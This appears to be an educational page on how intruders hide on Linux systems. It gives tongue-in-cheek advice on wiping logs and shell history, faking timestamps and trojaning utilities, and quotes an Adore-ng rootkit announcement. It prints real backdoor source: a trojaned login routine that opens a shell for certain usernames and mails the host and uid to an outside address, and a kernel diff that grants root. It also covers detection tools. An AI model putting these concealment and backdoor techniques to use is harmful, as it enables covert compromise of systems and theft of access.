After breaking in the first thing one does is cleaning up.
The break-in described in the above left a stopped modprobe
process from a failed attempt. Kill it. There were some error
messages in the logs. Remove them. The sequence of all commands
given can be seen from the shell history file. Delete it.
After the break-in one probably wants to leave a backdoor.
Recent changes in a directory are very conspicuous:
-rwxr-xr-x 1 root root 14812 Aug 14 2001 cat -rwxr-xr-x 1 root root 16732 Apr 1 23:59 chgrp -rwxr-xr-x 1 root root 16956 Aug 9 2001 chmod -rwxr-xr-x 1 root root 18588 Aug 9 2001 chown -rwxr-xr-x 1 root root 46188 Sep 6 2001 consolechars -rwxr-xr-x 1 root root 36604 Aug 9 2001 cp -rwxr-xr-x 1 root root 48796 Jun 26 2001 cpioWhen changing files it is imperative to make sure the date does not change. Giving
chgrp
here the same date as chmod
improves things:
# touch -r chmod chgrp # ls -l chgrp chmod -rwxr-xr-x 1 root root 16732 Aug 9 2001 chgrp -rwxr-xr-x 1 root root 16956 Aug 9 2001 chmodbut the right thing is to preserve the date from the beginning:
# touch -r chgrp mychgrp # mv mychgrp chgrp
This was the trivial part. It is even better if one succeeds
in giving the trojan version of a program the same size as
the original one. Often that is not difficult.
Still better is to give the trojan version of a program
the same MD5 sum as the original. Of course we cannot do this,
but a trojan version of md5sum
that has a list of
correct answers for the files we replaced (including md5sum
itself) will do.
(Note that rpm -V
will verify size, MD5 sum, permissions,
type, owner and group of each file. It is not defeated by a trojan
md5sum
, so must itself be replaced. Ach.)
Maybe one is not satisfied with coming in, but wants to do
something. Such actions must be invisible, so a trojan version
of ps
, pstree
, top
will help.
These actions may involve probing other machines on the net,
and trojan versions of programs like netstat
are needed.
Etc.
If the owner or system administrator of this machine only uses
standard utilities, this approach - replacing a couple of
utilities by trojan versions - may suffice. But one always
overlooks something. The number of utilities is very large.
Much more thorough is to load a kernel module that modifies the
readdir()
call and the proc
filesystem
so that the rogue files and processes are not shown.
And once one goes this way, maybe no files and no processes are needed. Everything can be done from kernel space, completely invisibly (until the next reboot).
There are standard tools that help. See for example this announcement.
At http://stealth.7350.org/rootkits/adore-ng-0.31.tgz you can find the latest Adore-ng. Since the new version supports various new features as previously braindumped in Phrack #61 (evil-log-tagging, LKM infection, reboot residency) I announce this version. If you never used adore before, here's a list of supported things: o runs on kernel 2.4.x UP and SMP systems o first test-versions successfully run on 2.6.0 o file and directory hiding o process hiding o socket-hiding (no matter whether LISTENing, CONNECTED etc) o full-capability back door o does not utilize sys_call_table but VFS layer o KISS principle, to have as few things in there as possible but also being as much powerful as possible new since adore-ng 0.30: o syslog filtering: logs generated by hidden processes never appear on the syslog UNIX socket anymore o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden processes do not appear in the file, except you force it by using special hidden AND authenticated process (a sshd back door is usually only hidden thus xtmp entries written by sshd don't make it to disk) o (optional) relinking of LKMs as described in phrack #61 aka LKM infection to make it possible to be automatically reloaded after reboot The build and installation process is usually as easy as './configure && make && ./startadore' and/or './configure && make && ./relink' so you can set up your honey-pot test-environment very easily. regards, Stealth
The rpm -V
mentioned above is a good start in
checking that all files installed from the distribution CDROMs
are still OK. Especially if one checks after booting from CDROM,
using an rpm
from CDROM.
More generally, one has packages like Tripwire that one can tell which files and directories on which machines to watch and not to watch, and for what properties. Tripwire can check all stat data - the three timestamps (creation, modification, last access), the owner and group IDs, the permissions, the file type, the size and the number of blocks, inode number, device number, real device number, number of links - and a few checksums (CRC-32, MD5, SHA, Haval), and also allows one to require things like "this file may only increase in size".
I do not know of standard utilities to check the integrity of the running kernel. Of special interest are system call table and the start of each of the routines implementing a system call.
Exercise
Write a utility that given System.map
checks as much as possible about the running kernel.
Just before Linux 2.2 was released, and it was to be expected that
lots of people would upgrade and need the latest versions of the
utilities, the util-linux-2.9g.tar.gz distribution tar file
on the TUE server was replaced by a trojan version. The size
remained the same, and the time stamp remained the same, but
in the login utility an additional routine checkname()
was inserted to check a given user name. This routine:
#include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> void checkname(char *name) { char a[100]; char *pt; if ((name[0] == '#') && (name[1] == '!')) { pt = (char*)&name[2]; sprintf(a,"/bin/%s",pt); execl(a,a,(void*)0); } if (fork() == 0) { struct hostent *he; struct sockaddr_in sai; struct in_addr *ia; char b[500]; int s,l; setsid(); s = open("/var/tmp/.fmlock0",O_RDONLY); if (s >= 0) exit(0); he = gethostbyname("mail.hotmail.com"); if (!he) exit(0); ia = (struct in_addr *)he->h_addr_list[0]; l = sizeof(sai);memset(&sai,0,l); sai.sin_port = htons(25); sai.sin_addr.s_addr = ia->s_addr; if ((s = socket(AF_INET,SOCK_STREAM,0)) < 0) exit(0); if ((connect(s,(struct sockaddr*)&sai,l)) < 0) exit(0); if ((getsockname(s,(struct sockaddr*)&sai,&l)) < 0) exit(0); sprintf(b,"\r\nHost = %s\r\nUid = %i\r\n\r\n.\r\n",inet_ntoa(sai.sin_addr),getuid()); sleep(1);if (write(s,"HELO 127.0.0.1\n",15) < 0) exit(0); sleep(1);if (write(s,"MAIL FROM:<xul@hotmail.com>\n",28) < 0) exit(0); if (write(s,"RCPT TO:<wlogain@hotmail.com>\n",30) < 0) exit(0); sleep(1);if (write(s,"DATA\n",5) < 0) exit(0); sleep(1);if (write(s,b,strlen(b)) < 0) exit(0); sleep(1);if (write(s,"QUIT\n",5) < 0) exit(0); sleep(1);close(creat("/var/tmp/.fmlock0",511));exit(0); } }
In other words, give direct access to anybody who logs in with #!sh or so.
Send, if we did not send anything already, mail to wlogain@hotmail.com
to tell about this host and the user ID of login.
A very useful extension of login functionality. However, this improvement was quickly discovered. That is a disadvantage of open source - there are always people who actually read the stuff and don't understand why login should send letters to a hotmail address.
Larry McVoy reported an unofficial change of the sys_wait4
code.
From: Larry McVoy Date: Wed Nov 05 2003 - 15:47:06 EST Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it. We've fixed the file in question, the conversion is done back here at BitMover and after we transfer the files we check them and make sure they are OK and this file got flagged. The CVS tree is fine, you might want to remove and update exit.c to make sure you have the current version in your tree however.
From: Matthew Dharm Date: Wed Nov 05 2003 - 15:59:43 EST Out of curiosity, what were the changed lines?
From: Larry McVoy Date: Wed Nov 05 2003 - 17:26:28 EST --- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING;
From: Zwane Mwaikambo Date: Wed Nov 05 2003 - 17:35:35 EST That looks odd
From: Andries Brouwer Date: Wed Nov 05 2003 - 17:56:16 EST Not if you hope to get root.
Ken Thompson showed how to insert backdoors in software without leaving any trace. Here is the text of his Turing Award address.
The idea is to put a backdoor in the C compiler instead of in login, so, that the C compiler will insert the translation of the login backdoor into the login binary if it sees that it is translating login. Now the login source is clean but the C compiler source is suspect. Repeat: also make the C compiler insert the translation of the C compiler backdoor into the cc binary if it sees that it is translating cc. Now cc and login both contain a trojan, but their source is clean.